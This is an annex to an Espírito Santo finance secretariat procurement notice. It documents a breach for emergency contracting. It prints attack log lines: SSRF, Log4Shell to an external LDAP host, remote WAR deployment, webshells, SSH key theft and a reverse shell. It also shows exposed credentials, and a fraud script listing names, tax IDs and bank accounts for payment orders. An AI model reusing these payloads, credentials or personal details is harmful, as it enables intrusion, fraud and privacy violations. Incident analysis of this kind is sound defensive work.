- 3.5. Em caso de apresentação por licitante de atestado de desempenho anterior emitido em favor de consórcio do qual tenha feito parte, observar-se-á o disposto no art. 67, §§ 10 e 11, da Lei 14.133/2021.
- 3.6. O licitante disponibilizará todas as informações necessárias à comprovação da legitimidade dos atestados, apresentando, quando solicitado pela Administração, cópia do contrato que deu suporte à contratação, endereço atual da contratante e local em que foram prestados os serviços, entre outros documentos.

4. HABILITAÇÃO ECONÔMICO-FINANCEIRA

- 4.1. **Certidão negativa de insolvência civil** expedida pelo distribuidor do domicílio ou sede do licitante, caso se trate de sociedade simples ou de pessoa física, desde que admitida a sua participação na licitação;
- 4.2. **Certidão negativa de falência** expedida pelo distribuidor da sede do licitante, para as demais pessoas jurídicas;
- 4.3. Caso a licitante se encontre em processo de **recuperação judicial ou extrajudicial**, deverá apresentar certidão emitida pela instância judicial competente certificando que a interessada está apta econômica e financeiramente a participar da licitação, além de cumprir todos os demais requisitos de habilitação exigidos por este Edital.
- 4.4. **Balanco Patrimonial (BP) e Demonstração de Resultado de Exercício (DRE) dos 2 (dois) últimos exercícios sociais, comprovando:**
- 4.5. Índices de Liquidez Geral (LG), Liquidez Corrente (LC), e Solvência Geral (SG) superiores a 1 (um):

$$ILG = \frac{ATIVO CIRCULANTE (AC) + REALIZÁVEL A LONGO PRAZO (RLP)}{PASSIVO CIRCULANTE (PC) + PASSIVO NÃO CIRCULANTE (PNC)}$$

$$ISG = \frac{ATIVO TOTAL (AT)}{PASSIVO CIRCULANTE (PC) + PASSIVO NÃO CIRCULANTE (PNC)}$$



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

$$ILC = \frac{ATIVO\ CIRCULANTE\ (AC)}{PASSIVO\ CIRCULANTE\ (PC)}$$

- 4.6. Quando qualquer dos índices for igual ou inferior a 1 (um), poderá o licitante atender ao requisito de habilitação demonstrando patrimônio líquido não inferior a 10% (dez por cento) do valor estimado da contratação.
- 4.7. Os documentos referidos acima (BP e DRE) serão os já exigíveis na forma da lei, com base no limite definido pela Receita Federal do Brasil para transmissão da Escrituração Contábil Digital (ECD) ao SPED ou, se a empresa não estiver obrigada ao SPED, observando a data de exigibilidade do art. 1.078, I, do Código Civil.
- 4.8. **Declaração assinada por profissional habilitado da área contábil**, apresentada pelo licitante, demonstrando o atendimento dos índices e coeficientes para cada exercício a que se referem as demonstrações contábeis, bem como demonstrando o patrimônio líquido mínimo exigido no último exercício.
- 4.9. As empresas criadas no exercício financeiro da licitação deverão atender a todas as exigências da habilitação e poderão substituir os demonstrativos contábeis pelo balanço de abertura.
- 4.10. Os documentos referidos acima limitar-se-ão ao último exercício no caso de uma pessoa jurídica ter sido constituída há menos de 2 (dois) anos.
- 4.11. No caso de consórcio, se admitida a sua participação no edital, deverá haver a demonstração, por cada consorciado, do atendimento aos índices contábeis definidos neste Edital.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



**SECRETARIA DE ESTADO DA FAZENDA
Gerência de Tecnologia da Informação**

ANEXO II - DOS ELEMENTOS PARA A CONTRATAÇÃO EMERGENCIAL

DA LINHA DO TEMPO DOS EVENTOS

Dia 01/02 — Reconhecimento passivo (p1 e p2)

O servidor web é utilizado como pivô de SSRF desde o início. Nessa fase, o atacante ainda se comporta como um crawler legítimo (user-agent ClaudeUser/1.0), varrendo páginas públicas como /informacoes/fiscalizacao/, /informacoes/tributacao/ e /informacoes/sintegra/. Trata-se de coleta de inteligência sobre o sistema-alvo antes de qualquer ação ofensiva.

Dia 3 - 03:25 — Descoberta da vulnerabilidade SSRF (p2)

A primeira requisição maliciosa confirma a vulnerabilidade: download.php?pdfLink=[IP] retorna HTTP 200 com 77 KB de conteúdo — o servidor faz o fetch e devolve o resultado. A partir desse momento, o parâmetro pdfLink torna-se o principal canal de ataque durante todo o incidente.

Dia 3 - 03:29–03:36 — Mapeamento da rede interna via SSRF (p2)

Usando o download.php como proxy, o atacante varre sistematicamente a rede interna:

- [hostname] (helpdesk) — páginas, API, token exposto
- [IP]:8080 e [IP]:8080 — servidor web
- [IP]:9000 —(SIEM interno) com credenciais expostas
- [IP]:8530 — WSUS

Dia 3 - 03:36–04:50 — Exfiltração do SIEM (p2)

Com acesso confirmado ao SIEM via, o atacante extrai logs internos buscando ativamente por credenciais: queries como password OR senha OR login OR credential, jdbc, ssh, vpn, oracle nos últimos 30 dias. Uma query retornou 255 KB de dados (/api/search/...query=password, resposta 200 com 255434 bytes). Foi provavelmente aqui que a credencial de um [Servidor de Aplicação 1] foi obtida.



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

Dia 3 - 04:08 — Ataques Log4Shell (p1)

Múltiplas tentativas de Log4Shell (`{jndi:ldap://69.5.189.104:1389/...}`) são injetadas em parâmetros das APIs do SIEM via SSRF, visando explorar o servidor SIEM em [IP]:9000. O IP do servidor externo [IP]:1389 é o mesmo que aparece nos testes de conectividade do Oracle no log original (UTL_HTTP para :8888), confirmando tratar-se do mesmo ator.

Dia 3 - 05:10 — Pivô para [Servidor de Aplicação 1] com credenciais roubadas (p2)

Usando as credenciais obtidas do SIEM, o atacante passa a controlar o [Servidor de Aplicação 1] inteiramente via SSRF: `download.php?pdfLink=[[User:Password]!@[IP]:8040/jmxconsole/....` A partir daqui todos os comandos executados são idênticos aos do log original — porém orquestrados remotamente através do servidor web.

Dia 3 - 05:14 — Deploy de WAR malicioso tentado (p2)

Tentativa de deploy de `cmd.war` diretamente do servidor externo: `MainDeployer/deploy?arg0=http://[IP]:8888/cmd.war`. Isso indica que o atacante tentou instalar um webshell via mecanismo nativo do [Servidor de Aplicação 1] antes de recorrer ao método de `echo+base64` documentado no log original.

Dia 3 - 05:32–05:34 — Novo webshell JSP de execução de comandos (p2)

Além do `q.jsp` focado em Oracle, um segundo webshell é implantado: `s.jsp` em `ROOT.war` do [Servidor de Aplicação 1]. Esse shell aceita comandos arbitrários via parâmetro `?c=`, sendo mais genérico e poderoso.

Dia 3 - 05:39–06:08 — Exfiltração de credenciais do [Servidor de Aplicação 1] (p2)

Varredura profunda nos arquivos de configuração do [Servidor de Aplicação 1]: `jdbc.properties`, `config.properties`, `login-config.xml`, `hsqldb-ds.xml`, buscando strings `jdbc:oracle` e `password`. Os arquivos `[Aplicação]Integracao.war` e `[Aplicação]4.war` são desmontados para extração de propriedades. A chave SSH `/tmp/.poc_key` (também referenciada como `/home/[Servidor de Aplicação 1]/.ssh/poc_key`) é exfiltrada com 3244 bytes.

Dia 3 - 06:21 — Movimentação lateral SSH para [Servidor de Aplicação 2] (p2)



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

Com a chave SSH poc_key, o atacante conecta do [Servidor de Aplicação 1] para [Servidor de Aplicação 2]@[IP] e executa id com sucesso. Em seguida, implanta o webshell c.war no [Servidor de Aplicação 2] usando o próprio JMX Console do [Servidor de Aplicação 2] como vetor: http://[IP]:8040/jmxconsole/...deploy...http://[IP]:8040/c.war. O [Servidor de Aplicação 2] passa a servir o shell em s.jsp?c=.

Dia 4 - 04:04-06:37 — [Operações no Servidor de Operação 2] (log original)

As atividades do log original são a continuação direta das operações do p2, agora executadas em paralelo tanto no [Servidor de Aplicação 1] (via SSRF do portal) quanto diretamente nos IPs [IP] e [IP] — provavelmente outros pontos de acesso obtidos na fase anterior ou a reverse shell estabelecida para [IP]:4444.

DEMAIS EVIDÊNCIAS:

1 — Reconhecimento passivo inicial (Dia 1)

[IP] "GET /informacoes/fiscalizacao/substituicao_tributaria/contribuintes.php HTTP/1.1" 200 40933 "Claude-User/1.0"

2 — Confirmação da vulnerabilidade SSRF (Dia 3 - 03:25)

[IP] "GET /agenciavirtual/area_publica/[aplicação]/download.php?pdfLink=[IP] HTTP/1.1" 200 77139

O servidor faz o fetch de [IP] e retorna 77 KB — SSRF confirmado.

3 — Mapeamento interno: [HelpDesk] e token de API expostos (Dia 3 - 03:29)

[IP] "GET /download.php?pdfLink=S3A71024P1/[helpdesk]/apirest.php/initSession?app_token=vLqATtb3vpi45dc3pjiFL HTTP/1.1" 200 347

4 — Acesso ao [SIEM] com credenciais padrão (Dia 3 - 03:36)

[IP] "GET /download.php?pdfLink=[user:SIEM]ylog@[IP]:9000/api/system HTTP/1.1" 200 311

5 — Exfiltração de senhas via [SIEM] (Dia 3 - 04:49) — 255 KB extraídos

[IP] "GET /download.php?pdfLink=[user:password]@[IP]:9000/api/search/universal/relative%3Fquery%3Dpassword%26range%3D2592000%26limit%3D50 HTTP/1.1" 200 255434



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA
Gerência de Tecnologia da Informação

6 — Ataque Log4Shell contra [SIEM] via SSRF (Dia 3 - 04:08)

```
[IP] "GET /download.php?pdfLink=[user:password]@[IP]:9000/api/search/...%24%7Bjndi%3Aldap%3A%2F%2F69.5.189.104%3A1389%2Fa%7D... HTTP/1.1" 200 422
```

7 — Pivô para [Servidor de Aplicação 1] com credencial obtida do [SIEM] (Dia 3 - 05:10)

```
[IP] "GET /download.php?pdfLink=[user:password]@[IP]:8040/jmx-console/ HTTP/1.1" 200 692
```

8 — Deploy de WAR malicioso via JMX no [Servidor de Aplicação 1] (Dia 3 - 05:14)

```
[IP] "GET /download.php?pdfLink=admin:logusinfo!@[IP]:8040/jmxconsole/HtmlAdaptor?action=invokeOpByName&methodName=deploy&arg0=http%3A%2F%2F69.5.189.104%3A8888%2Fcmd.war HTTP/1.1" 200 493
```

9 — Implantação do webshell s.jsp no [Servidor de Aplicação 1] (Dia 3 - 05:34)

```
[IP] "GET /download.php?pdfLink=[user:password]@[IP]:15:8040/jmxconsole/displayOpView.jsp%3Fq%3Dbase64${IFS}-d${IFS}/tmp/shell.b64%3E/opt/jboss/.../ROOT.war/s.jsp HTTP/1.1" 200 1
```

10 — Exfiltração da chave SSH poc_key (Dia 3 - 06:08)

```
[IP] "GET /download.php?pdfLink=[user:password]@[IP]:8040/jmxconsole/displayOpView.jsp%3Fq%3Dcat${IFS}/tmp/.poc_key HTTP/1.1" 200 3244
```

11 — Movimentação lateral SSH para [Servidor de Aplicação 2] Dia 3 - 06:21)

```
[IP] "GET /download.php?pdfLink==[user:password]@[IP]:8040/jmxconsole/displayOpView.jsp%3Fq%3Dssh${IFS}-i${IFS}/tmp/.[servidor de aplicação]_key${IFS}[servidor de aplicação]@[ip].88${IFS}id HTTP/1.1" 200 222
```

12 — Webshell ativo no [Servidor de Aplicação 2] (Dia 3 - 09:02)

```
[IP] "GET /download.php?pdfLink=[IP]:8040/c/s.jsp%3Fc%3Ddid HTTP/1.1" 200 308
```

13 — Reverse shell para C2 interno [IP] (Dia 3 - 05:32, decodificado)

```
[IP] "GET /download.php?pdfLink==[user:password]!@...displayOpView.jsp%3Fq%3Dpython${IFS}-c${IFS}exec('aW1wb3J0...'.decode('base64')) HTTP/1.1" 200 643 # Payload decodificado: s.connect(("[IP]",4444))
```



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

14 — Acesso direto ao Oracle [Aplicação] e queries de exfiltração (Dia 4 - log original)

```
[IP] "GET /jmxconsole/displayOpView.jsp?q=/usr/bin/java${IFS}-cp${IFS}/tmp:/tmp/ojdbc6- [IP].jar${IFS}O HTTP/1.1" 200 810
```

```
# Queries: SELECT USER, GRANTED_ROLE, PRIVILEGE, DBA_JAVA_POLICY, DBA_DB_LINKS
```

15 — Tentativa de persistência via DBMS_SCHEDULER no Oracle (Dia 4 - log original)

```
[IP] "GET /jmxconsole/displayOpView.jsp?q=/usr/bin/java${IFS}-cp${IFS}/tmp:/tmp/ojdbc6- [IP].jar${IFS}OraQ5 HTTP/1.1" 200 180
```

```
# OraQ5 executa: DBMS_SCHEDULER.CREATE_JOB(job_action=>'/bin/bash', ...)
```

16 — Do resultado

Criação de arquivos de Ordem Bancárias – OBs para pagamento em quantias que superam os R\$113.000,000,00 (cento e treze milhões de reais) conforme imagem exemplificativa abaixo.



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

```
182 pj("BPN ESTETICA E TECNOLOGIA LTDA", "64220371000161", "208", "0050", "20099263",
120000000)
183 pj("HIAGO MIRANDA DE SOUSA", "61044488000143", "104", "0961", "5709950838", 20000000)
184 pj("MARCELY DA SILVA SILVEIRA", "64989236000185", "104", "3532", "5711071021", 30000000
)
185 pj("RF AGROBUSINESS", "54564320000101", "748", "3950", "329757", 25000000)
186 pj("TERRA FERTIL IMPL AGRICOLAS", "51603557000158", "104", "6378", "5798078570",
30000000)
187 pj("RAFAELA SOUSA SILVA", "65664789000120", "756", "3003", "3080366", 25000000)
188 pj("R A R MARTINS JUNIOR LTDA", "47696337000149", "756", "3315", "497614", 30000000)
189 pj("SHELBY AMBIENTAL LTDA", "52534442000111", "756", "4104", "523267", 50000000)
190 pj("SHELBY A LTDA", "52534442000111", "001", "86754", "13188", 50000000)
191 pj("DMG ELECTRONICS BRASIL CORP LTDA", "16731090000120", "482", "0001", "167314935",
20000000)
192 pj("MISTER CONSULTORIA EM TI LTDA", "65758448000114", "301", "0001", "311118034",
50000000)
193 # 59 BLUEMIND - ??? banco REMOVIDA
194 pj("JOAO VITOR JUNQUEIRA F AQUINO", "64118613000100", "001", "8090", "427330", 30000000
)
195 pj("GABIATTI E BUENO TELECOM LTDA", "50872698000103", "748", "0914", "747591", 60000000
)
196 pj("ATACADO E VAREJO LUCK", "63619891000181", "104", "3223", "5715667239", 50000000)
197 pj("MCG CONSTRUTORA EMPREITEIRA LTDA", "52696974000155", "756", "3157", "774685",
20000000)
198
199 # === PF (116 contas, 2 com banco ??? removidas = 114) ===
200 def pf (nome,cpf,banco,ag,conta,valor):
201     global s
202     pgs.append({"tipo":"PF","ob":make_ob(s,valor),"nome":nome,"cpf":cpf,"banco":
banco,"ag":ag,"conta":conta}); s+=1
203
204 pf("VALDIR HENRIQUE DOS SANTOS FILHO", "15467890492", "104", "3772", "5720508275",
4000000)
205 pf("LETIZIA OHANA FERREIRA DA SILVA", "71903762405", "104", "3772", "5715550650",
4000000)
206 pf("TASSIO FILIPE DA SILVA", "10518600408", "104", "3772", "5718651376", 13000000)
207 pf("DANIEL ROMULO", "18282623407", "323", "0001", "44175178055", 5000000)
208 pf("MARIA JULLIANY DUARTE DA SILVA", "12747876454", "323", "0001", "61634475631",
5000000)
209 pf("CARINA SAKAI DE SOUSA", "46831921876", "104", "3718", "5717356486", 10000000)
210 pf("MARILY FERNANDA DA SILVA", "35119215890", "341", "8106", "382958", 7000000)
211 pf("THIAGO DA SILVA ADAMI", "47800710890", "104", "5693", "5709552115", 4000000)
212 pf("YASMIN DA SILVA RIBEIRO", "54076158865", "104", "5693", "5764917871", 12000000)
213 pf("VANESSA RITA RODRIGUES", "30856951846", "104", "5693", "5709787252", 12000000)
214 pf("GUILHERME AUGUSTO DO VALE SPFAR", "22834616850", "104", "5693", "5709787252",
3000000)
215 pf("GUSAMAR JUSTINIANO ROCHA", "91185343172", "748", "0806", "992804", 90000000)
216 pf("JOAZ COSTA DOURADO DOS SANTOS", "08331349571", "237", "5235", "117889", 6000000)
217 pf("JOSE ICARO PEREIRA RAMOS", "04732403560", "237", "3036", "10161061", 6000000)
218 pf("VICTOR RICARDO ZOMIOTI", "75784432168", "341", "4676", "264775", 5500000)
219 pf("OTONIEL VIEIRA", "70812229193", "341", "4289", "294045", 5200000)
220 pf("BRUNA APARECIDA DA SILVA", "46310499874", "576", "0001", "957038", 4000000)
221 pf("ILTON FILIPE SOUZA PEREIRA", "03829528558", "323", "0001", "36862915581", 30000000)
222 pf("MATEUS HENRIQUE R DA SILVA", "71393791140", "104", "1959", "7210054651", 3000000)
223 pf("LUCIANA DA SILVEIRA CAVALCANTI", "02175357716", "104", "4706", "7737885855",
9000000)
224 pf("RAFAEL DE PAULA PEREIRA", "99974878187", "576", "0001", "484318", 5000000)
225 pf("THARCIO RABELO", "07481801681", "033", "3492", "20256650", 14000000)
226 pf("AQUILINO JEAN ALMEIDA MACHADO", "03616858909", "260", "0001", "347479758", 5000000)
227 pf("NELIO ARMINDO LEAL", "21878900668", "341", "0219", "668894", 10000000)
228 pf("ROGERIO PEREIRA ALVARENGA", "07467345739", "104", "1034", "7676250952", 12000000)
229 pf("SILAS GOMES DE FREITAS ASSIS", "11998411613", "260", "0001", "934720363", 10000000)
230 pf("FELIPE SILVA SANTOS", "07145910500", "077", "0001", "126896313", 20000000)
231 pf("CAMILA DE SOUZA MARTINI", "04173305532", "237", "3506", "28162", 10000000)
232 pf("CASSIO DA SILVA DO AMOR DIVINO", "09479727579", "001", "56871", "230120", 10000000)
233 pf("MARCOS ANTONIO DE SOUZA", "05471428110", "104", "1551", "7818683721", 12000000)
234 pf("GILBER MARQUES TAVARES", "82193789134", "197", "0001", "3001526", 8000000)
235 pf("MARCOS ANTONIO MOURA DA SILVA", "89163184249", "301", "0001", "26873397", 10000000)
236 pf("DANIEL TAVARES VIEIRA", "05147918108", "104", "3956", "5734212020", 10000000)
237 pf("JOSE HENRIQUE DA SILVA SAMPAIO", "03388642109", "104", "3737", "5817276026",
10000000)
238 pf("LEONARDO FONSECA", "16501085756", "104", "3820", "5724001566", 12000000)
```



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

135	pj ("LUCAS SILVA DOS SANTOS", "64527129000135", "380", "0001", "1304795020", 10000000)
136	pj ("MARIA EDINA CARVALHO", "40288220000187", "341", "0719", "988255", 10000000)
137	pj ("W VIDAL MORAIS LTDA", "47279283000116", "104", "3219", "5753443016", 50000000)
138	pj ("IB PAY SWAP IP SA", "59336748000102", "783", "0001", "8231802", 20000000)
139	pj ("VIBONATI EMPREEND IMOB LTDA", "37144185000118", "208", "0001", "018566356", 3000000000)
140	pj ("IMPERIO BRASIL SOLUCOES LTDA", "61359587000114", "783", "0001", "7522835", 10000000)
141	pj ("ESTEVAN NYARI LOPES", "40195772000140", "033", "2991", "120933661", 1000000000)
142	pj ("CLINICA VIDAS", "52916520000142", "136", "2315", "437638", 2000000000)
143	pj ("SAFRAS ARMAZEM", "44438567000110", "756", "4598", "135607", 2000000000)
144	pj ("LLEL SOLUCOES LTDA", "59492320000159", "756", "5631", "20355882", 15000000)
145	pj ("ACS SOLAR COM OBRAS SERV EIRELI", "15179490000102", "341", "4563", "995366", 50000000)
146	pj ("RDANE M FERNANDES LTDA", "11817991000116", "033", "3270", "130061027", 1000000000)
147	pj ("FAMA DISTRIB AUTO PECAS LTDA", "29025442000174", "033", "4218", "130030192", 50000000)
148	pj ("FAMA DISTRIB AUTO PECAS LTDA", "29025442000174", "197", "0001", "905658746", 30000000)
149	pj ("BUSINESS TELECOM LTDA", "42971112000130", "085", "5024", "662356", 2000000000)
150	pj ("M3L HOLDING PARTICIPACOES SA", "51371448000152", "208", "0050", "4877848", 2000000000)
151	pj ("OTONIEL VIEIRA DA SILVA", "41441753000110", "077", "0001", "450119297", 50000000)
152	pj ("SAMPAIO RECOVERY SOLUCOES LTDA", "64349648000150", "380", "0001", "130241152", 50000000)
153	pj ("MDV PRODUTO 530", "53063561000104", "422", "0035", "005845661", 50000000)
154	pj ("DOUGLAS IND 443", "44328627000141", "422", "0035", "005845610", 5000000000)
155	pj ("IPE ENERGIA SOLAR LTDA", "47498131000104", "237", "8624", "998830", 1000000000)
156	# 22 SARRIX - ??? banco REMOVIDA
157	pj ("MARIA GABRIELLA M F M BORGES", "65154459000195", "033", "2991", "150496218", 25000000)
158	pj ("NUCLEO DE ANALISES CLINICAS LTDA", "02766038000103", "341", "4378", "206983", 4900000000)
159	pj ("NUCLEO DE ANALISES CLINICAS LTDA", "02766038000103", "756", "5004", "92185", 4900000000)
160	# 26 LAR E CIA - ??? banco REMOVIDA
161	pj ("FREMONT MINERACAO LTDA", "53137171000123", "756", "3010", "2236923", 1000000000)
162	# 28 HARDDY COMPANY - ??? banco REMOVIDA
163	pj ("XABLAU MARKETPLACE LTDA", "62245794000100", "783", "0001", "8735917", 1000000000)
164	pj ("EMPORIO GRAOS E CAFE LTDA", "52355699000106", "001", "45004", "253995", 1000000000)
165	pj ("PRUDENTE IMOBILIARIA LTDA", "46661594000182", "001", "45004", "254002", 1000000000)
166	pj ("W DA SILVA SOUZA LTDA", "65474708000120", "077", "0001", "522017967", 10000000)
167	pj ("RACING RACE ESTETICA AUTOM LTDA", "65715727000109", "077", "0001", "522688187", 10000000)
168	pj ("BASOLA WEB DESIGN LTDA", "65192529000108", "077", "0001", "521529794", 15000000)
169	pj ("ANDREIA MACIEL", "65713876000120", "197", "0001", "236711297", 15000000)
170	pj ("LYS COM IMP ELETRONICOS LTDA", "59756907000128", "336", "0001", "398304173", 75000000)
171	pj ("G F DA SILVA CONSTRUCAO", "17964019000150", "033", "4538", "0078750", 20000000)
172	pj ("61253070 LTDA", "61253070000146", "336", "0001", "401462722", 30000000)
173	pj ("GMC SERVICOS DIGITAIS LTDA", "64934438000120", "033", "4543", "130104483", 1000000000)
174	pj ("SOUZA TECH COM EQUIP ELETRONICOS", "57072444000150", "301", "0001", "155216404", 4500000000)
175	pj ("PHCS CONSTRUTORA INCORPORADORA LTDA", "39750142000101", "301", "0001", "155217638", 1500000000)
176	pj ("PEDLIZ GESTAO DE PROJETOS LTDA", "51381882000113", "336", "0001", "356928861", 1500000000)
177	pj ("EVANDRO HENRIQUE DOS SANTOS", "48901196000111", "403", "0001", "34897570", 22000000)
178	pj ("MARCONE L DA SILVA ENERGIA SOLAR LTDA", "4459989000177", "104", "6380", "5784096547", 1000000000)
179	pj ("D SANTOS", "50784234000145", "756", "3179", "333972", 1000000000)
180	pj ("GONCALVES E SILVA EMPREEND LTDA", "55939348000130", "077", "0001", "519055217", 25000000)
181	pj ("M B DE SOUZA VIRMOND MENEZES LTDA", "37327115000103", "756", "3315", "768944", 50000000)
182	pj ("BPN ESTETICA E TECNOLOGIA LTDA", "64220371000161", "208", "0050", "20099263", 1200000000)
183	pj ("HIAGO MIRANDA DE SOUSA", "61044488000143", "104", "0961", "5709950838", 20000000)
184	pj ("MARCELY DA SILVA SILVEIRA", "64989236000185", "104", "3532", "5711071021", 3000000000)
185	pj ("RF AGROBUSINESS", "54564320000101", "748", "3950", "329757", 25000000)
186	pj ("TERRA FERTIL IMPL AGRICOLAS", "51603557000158", "104", "6378", "5798078570", 30000000)
187	pj ("RAFAELA SOUSA SILVA", "65664789000120", "756", "3003", "3080366", 25000000)
188	pj ("R A R MARTINS JUNIOR LTDA", "47696337000149", "756", "3315", "497614", 30000000)



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

239 pf("BRAIAN FRANCISCO IZIDORO DOS SANTOS","11898914761","104","3820","5750212552",
7000000)
240 pf("RAFAELA FELIX LUNA","18495428725","104","3766","5711749834",7000000)
241 pf("DIEGO DO SANTOS SA","12292985764","104","2915","7697537878",8000000)
242 pf("LUIZ DOUGLAS DE ANDRADE","18757217700","104","3820","5710903317",5000000)
243 pf("GREISSON SOARES PERNAMBUCO","18676787727","104","3820","5710820250",5000000)
244 pf("MARCOS BOTELHO MACHADO","17374209703","237","2807","10069610",8000000)
245 # 105 JOYCE VITORIA - ??? banco REMOVIDA
246 pf("ILTON GABRIEL ARAUJO RUMAO","05805689383","104","4919","5750569191",6000000)
247 pf("NATHY DOS SANTOS MESQUITA","63552338306","104","3701","5717958290",5000000)
248 pf("MATEUS DE MIRANDA MENDES","11941246583","104","3763","5714060020",5000000)
249 pf("THIAGO LOULA DOURADO NUNES","06888766500","104","0780","1288",5000000)
250 pf("RENATO PINTO DE LIMA","17891480737","104","3820","5747262226",25000000)
251 pf("MATHEUS FERREIRA","44306403866","104","3471","5719581150",20000000)
252 pf("MATHEUS FELIX MELLO","16224719705","323","0001","67743007430",20000000)
253 pf("VICTOR HUGO DA COSTA FERREIRA","18192991717","104","3765","5713982943",
12000000)
254 pf("TIAGO JOSE PEREIRA DO NASCIMENTO","10264487788","104","0680","7343414063",
12000000)
255 pf("TAYNA ABRANCHES DE MELLO","06170541776","104","3765","5713876485",12000000)
256 pf("CAMILA HELENA REAL VALENTIM","12679966686","104","4216","7954808824",12000000)
257 pf("MARCOS ANTONIO CARDOSO JUNIOR","10956605605","290","0001","047143318",12000000
)
258 pf("SARA TEODORO PINHEIRO MARTINS","01914109694","336","0001","173185215",20000000
)
259 pf("MARCELO GUIMARAES DE OLIVEIRA JR","07341909560","104","3763","5748076280",
10000000)
260 pf("ANTHONY CRISTIAN FIGUEIRA SANTOS","07166994517","104","0635","8594778986",
12000000)
261 pf("GUSTAVO DOS SANTOS PINA","86142072554","756","3292","220434",20000000)
262 pf("RODRIGO BATALHA PASSOS","00723732299","237","6336","174564",7000000)
263 # 123 KARINA SUELLEN - ??? banco REMOVIDA
264 pf("DILSON ANUTE FRANCA","98104543253","001","23582","419931",25000000)
265 pf("PAULO MATHEUS NUNES DA SILVA","97066443268","756","5024","4418891",95000000)
266 pf("LUCAS HENRIQUE DOS SANTOS SANTANA","14569969674","104","3730","5746446226",
10000000)
267 pf("TALISSON RODRIGO","14703399601","104","3730","5717948260",12000000)
268 pf("MAGNO ANDRE ALVES DA CONCEICAO","09292315110","104","3722","9847113225",
10000000)
269 pf("MARIA DE LOURDES GOMES MARQUES","70962097195","104","3837","5750449951",
5000000)
270 pf("CLEANO S DE OLIVEIRA","05776615313","509","0001","448489971",10000000)
271 pf("VALNEY SILVA MARQUES","08620680374","509","0001","466627452",10000000)
272 pf("JULIO CESAR DE OLIVEIRA SILVA","60449091317","104","4550","7878296023",
10000000)
273 pf("PEDRO HENRIQUE GOMES CAVALCANTE","62279728254","104","3703","5712907450",
10000000)
274 pf("BRUNO ANDRE MELO DA SILVA","70818820489","104","2668","5707625034",6000000)
275 pf("FERNANDA BEZERRA DA COSTA","70072166410","104","2668","5713654199",6000000)
276 pf("EMERSON SOUZA SANTA BARBARA","03870272546","104","1019","8020098826",10000000)
277 pf("JULIO CESAR VARELLA DE PAULA","12905115785","104","0187","7562304638",10000000
)
278 pf("MARCIO MENDES FERREIRA","08161650764","104","3146","8742124415",10000000)
279 pf("CARLOS DIEGO PRADO","03158932903","104","1479","5712862782",5000000)
280 pf("PEDRO HENRIQUE SALES LIMA","62991926317","104","3703","5799558690",6000000)
281 pf("FILIPPE LUCIO ALMEIDA DA SILVA","19950796776","104","3765","5706770855",
8000000)
282 pf("MARCUS VINICIUS MOREIRA DA FONTE","16637915700","104","3820","5745032126",
6000000)
283 pf("JESSICA FERREIRA DA SILVA","07160243145","341","7147","895028",5000000)
284 pf("FABIANO TEIXEIRA DE ARAUJO","14655833785","104","3820","5707759260",6000000)
285 pf("MARLON APARECIDO OLIVEIRA","37794657873","104","2949","7528343162",12000000)
286 pf("AMANDA MARIA DA SILVA","40389173800","104","2960","7566040430",4000000)
287 pf("DENISE MARIA SANTOS DA SILVA","54343050866","104","3769","5718402767",4000000)
288 pf("HERNANY HENRIQUE DE OLIVEIRA LIMA","46735494814","104","3769","5709490322",
4000000)
289 pf("ANA BEATRIZ PINHEIRO VIDAL","52456236840","104","3769","5711535141",12000000)
290 pf("SANCLER DE PAULO RODRIGUES","84991771153","301","0001","26634319",10000000)
291 pf("ARICLENE DA SILVA LIMA","02130798365","301","0001","266164875",10000000)
292 pf("PAULO ROBERTO CARNEIRO DE MELO","06165777961","301","0001","26634483",10000000
)
293 pf("RICARDO TORRES DA SILVA MACHADO","00859017338","301","0001","266121619",



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

```
10000000)
294 pf("ADELECIO SILVA DE SOUZA","99814200263","301","0001","266167837",10000000)
295 pf("JEZIEL COLONHESI NEVES","00798683988","301","0001","266168069",10000000)
296 pf("HERMEROILDO NOGUEIRA JUNIOR","46389091168","301","0001","26633400",10000000)
297 pf("MARCIO SEVERINO SILVA MACIEL","09500688450","301","0001","26633694",10000000)
298 pf("PAULO SAMUEL DE OLIVEIRA LEAL","07119501640","301","0001","26648270",10000000)
299 pf("JONATAS SEMOLINI","45893428803","336","0001","414139038",3600000)
300 pf("MARLA JENNIFER","45640366885","237","1296","642894",5000000)
301 pf("PEDRO JECA DE MORAES","45833012864","041","1800","3524598607",5000000)
302 pf("BEATRIZ ROBERTA VENTURINI","50305668803","341","8407","320326",5000000)
303 pf("DENNER ELIAS FERREIRA","05525139111","341","4338","566310",5000000)
304 pf("ROBERTA BRITO NASCIMENTO","13785312482","104","2778","5717594360",30000000)
305 pf("LUIS EDUARDO DA SILVA A MAGALHAES","47787209895","104","2778","7156839528",
30000000)
306 pf("DAIANE PRISCILA LOPES DA CUNHA","11326885669","104","3730","5741616352",
20000000)
307 pf("KAUAN HENRIQUE MARQUES DOS SANTOS","07883713981","748","0723","462465",3000000
)
308 pf("KAUAN HENRIQUE MARQUES DOS SANTOS","07883713981","104","3770","5712361333",
3000000)
